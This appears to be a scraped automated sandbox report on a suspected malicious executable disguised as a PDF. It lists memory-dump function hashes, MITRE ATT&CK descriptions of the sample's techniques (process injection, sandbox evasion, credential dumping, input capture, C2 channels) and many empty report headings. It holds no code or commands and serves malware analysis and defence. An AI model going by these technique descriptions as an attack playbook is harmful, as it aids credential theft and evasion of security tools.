Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2110c90120ce5561191180465e94026749fc828739880ecff4f6844934d6cd83
Instruction ID: 03548172d1febf391c8a544e52691679e85d0b5a15202047766e2ca345f38b25
Opcode Fuzzy Hash: 2110c90120ce5561191180465e94026749fc828739880ecff4f6844934d6cd83
Instruction Fuzzy Hash: 8FE06539B040188B8F40FBB8E8469EC73F1FFC8215B0080A4E60EE3354DE389C028BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E85E0F, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa25951a11e302a9ab1251502cea30d5c851e808e5387bde59e171a757a83169
Instruction ID: a698dd216532a5ea8a77f1ea02f6315413d324a28352e498b29e2d5f244f95ed
Opcode Fuzzy Hash: fa25951a11e302a9ab1251502cea30d5c851e808e5387bde59e171a757a83169
Instruction Fuzzy Hash: F5E0ED35B045149B8F40FBB9D8465EDB3F1BB88255B0480A5E509E7355DE789D0287A1

Uniqueness

Uniqueness Score: -1.00%

Function 00E803AF, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08fd46e77c2002f77fa5e3e0f6d7df4d9e4ca3a2bd741598789c560fc5f41a16
Instruction ID: c256dafab253c349a94f14169e33c092292ce3deb727ced72ec1ef2af8e7487d
Opcode Fuzzy Hash: 08fd46e77c2002f77fa5e3e0f6d7df4d9e4ca3a2bd741598789c560fc5f41a16
Instruction Fuzzy Hash: F5E06D35B041188B8F80FBB8E8465EC73F1BB8821571080A5E609E3355DE389D028760

Uniqueness

Uniqueness Score: -1.00%

Function 00E82730, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd8b2c8c67b2ce7ddbd73752e9dfc058981c1512666ba6516c63aee68bc0bf18
Instruction ID: 9c167131f1510c83e88882e64b35c1b953cca08e9c1db38a5f30f7fbd0ffea21
Opcode Fuzzy Hash: cd8b2c8c67b2ce7ddbd73752e9dfc058981c1512666ba6516c63aee68bc0bf18
Instruction Fuzzy Hash: C1D0123170061457C314756BA904B6AB2DD9BC1B15F14503FE61EE7290DA62DC428795

Uniqueness

Uniqueness Score: -1.00%

Function 00E854C8, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8973f3a53652eea5b1b5d19add9ab413d7527ffa2d51e32d0cd66f1c48360b15
Instruction ID: 16a417dc3aac6bf9f438b9be3ccb7bac2834495fcab5c77bcfe49551e4ad73e6
Opcode Fuzzy Hash: 8973f3a53652eea5b1b5d19add9ab413d7527ffa2d51e32d0cd66f1c48360b15
Instruction Fuzzy Hash: 7BE0ECB0D003099EDB40EFAC840539EBBF4AB04300F1084658029F2241EBB442458B91

Uniqueness

Uniqueness Score: -1.00%

Function 00E82B38, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbef13cb457c6db8120ca030a08b18ee0159cd28a5aef8351c80c01c45627413
Instruction ID: 70b0a0234ded6aba53625ed47adce6f7b300aabdb0b7820dc6ca06fdb4164689
Opcode Fuzzy Hash: fbef13cb457c6db8120ca030a08b18ee0159cd28a5aef8351c80c01c45627413
Instruction Fuzzy Hash: B9D02231B01A34874B293AA8A160AED3388C7486383002019D61EDB704CF40DC0303D9

Uniqueness

Uniqueness Score: -1.00%

Function 00E8FF3F, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ed54b86a2df1c2ccddd0f68807983a0917b66184d3ae6e3a8fd227faf7b3751
Instruction ID: 9d64b7c0c6176a64f22b1e7791a945a77ffb90a865d289619354b0243e5f2888
Opcode Fuzzy Hash: 8ed54b86a2df1c2ccddd0f68807983a0917b66184d3ae6e3a8fd227faf7b3751
Instruction Fuzzy Hash: C7C08C333005208B89042B24F84809CB362EBC0176300892AE54AC2650CB28064246C8

Uniqueness

Uniqueness Score: -1.00%

Function 00E82B37, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.503421972.0000000000E80000.00000040.00000001.sdmp, Offset: 00E80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0eaaf355432067b2053d3f325ada9cd55f9335f1710081174f0c1acb2666ee7
Instruction ID: 4c4d2a019b190f6e88887bde245211d42df6cb6bd44c47d4e399968ddc9519ea
Opcode Fuzzy Hash: d0eaaf355432067b2053d3f325ada9cd55f9335f1710081174f0c1acb2666ee7
Instruction Fuzzy Hash: BEC02B32C4B0305E8B3168AC71A0DF577548601374300135FD90EFBB04C2804C0207C0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report OC 136584.PDF.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre